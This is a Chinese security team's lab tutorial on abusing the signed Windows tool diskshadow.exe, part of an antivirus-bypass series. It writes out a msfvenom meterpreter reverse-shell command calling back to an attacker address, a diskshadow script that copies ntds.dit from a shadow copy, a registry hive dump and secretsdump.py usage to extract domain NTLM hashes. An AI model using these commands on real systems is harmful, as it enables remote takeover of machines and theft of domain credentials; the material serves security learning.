声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus
diskshadow.exe是一种工具,可公开卷影复制服务(VSS)提供的功能。默认情况下,diskshadow使用类似于diskraid或DiskPart的交互式命令解释器。diskshadow还包括可编写脚本的模式。(详见微软官方文档https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow)
DiskShadow的代码由微软官方签名,而且Windows Server 2008、Windows Server 2012和Windows Server 2016中都包含了DiskShadow:
交互式命令解释器和脚本模式支持EXEC命令,无论是特权用户还是非特权用户,他们都可以在交互模式下或通过一个脚本文件来调用其他命令以及batch脚本。
使用exec命令调用系统自带的计算器程序
使用diskshadow.exe /s 命令调用脚本打开notepad.exe程序
需要注意的是,DiskShadow.exe是命令所生成的可执行程序的父进程。除此之外,DiskShadow将会一直运行下去,直到它的子进程终止执行。
靶机:Windows server 2008 R2 ip地址:192.168.10.136
攻击机:kali linux ip地址:192.168.10.130
DiskShadow.exe可以执行exe文件,在这里我们先用msf生成exe格式shellcode:
msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.130 lport=1234 -f exe > ./hacker.exe
设置msf监听端口:
使用diskshadow.exe /s 命令调用脚本打开hacker.exe程序
攻击机监听到靶机上线:
打开杀软,使用diskshadow.exe /s 命令调用脚本打开hacker.exe程序。
360全家桶和火绒均报毒并删除
前文已经提到diskshadow.exe是一种工具,可公开卷影复制服务(VSS)提供的功能。那么,我们可以来看看卷影复制功能下,是如何来对活动目录数据库ntds.dit进行数据提取的。NTDS.DIT是一个二进制文件,就等同于本地计算机的SAM文件,它的存放位置是%SystemRoot%\ntds\NTDS.DIT,这里面包含的不只是Username和HASH,还有OU、Group等等。
在以下应用中,我们假设活动目录域控制器已被攻击者成功拿下控制,并能有效在特权用户环境中以脚本模式执行DiskShadow命令。首先,我们要准备脚本,我们会先对包含活动目录数据库的目标磁盘驱动器号进行踩点侦测,了解未被系统磁盘使用的驱动器号。以下就是脚本jiaoben.txt的内容:
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset通过脚本我们创建了一个持久化卷影拷贝,这样就能够执行复制操作并捕捉到目标系统中的敏感文件了。通过监控目标逻辑驱动器,能够确定目标文件的拷贝路径,在删除卷影拷贝之前,将把这个拷贝路径下的文件拷贝到“exfil”目录之中。
注意:我们还可以通过卷影设备名称/唯一标识符来拷贝出我们的目标文件,这种方法的隐蔽性比较高,但是还需要确保目标文件标签/UUID是正确的(通过网络侦察活动确定),否则我们的脚本将无法正常运行,这种技术在交互模式下的可行性更高。
下图给出的是命令执行以及DiskShadow运行的结果:
type C:\Users\Administrator\Desktop\jiaoben.txt
diskshadow.exe /s C:\Users\Administrator\Desktop\jiaoben.txt
dir c:\exfil
提取目标系统的注册表配置单元(HIVE)信息:
reg.exe save hklm\system c:\exfil\system.bak
此时可以看到文件夹中的ntds.dit和system.bak文件
使用脚本SecretsDump.py
(下载地址:https://github.com/SecureAuthCorp/impacket
),就可以还原出文件中的NTLM哈希
secretsdump.py -ntds ntds.dit -system system.bak LOCAL
DiskShadow工具介绍:https://www.anquanke.com/post/id/103117
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号: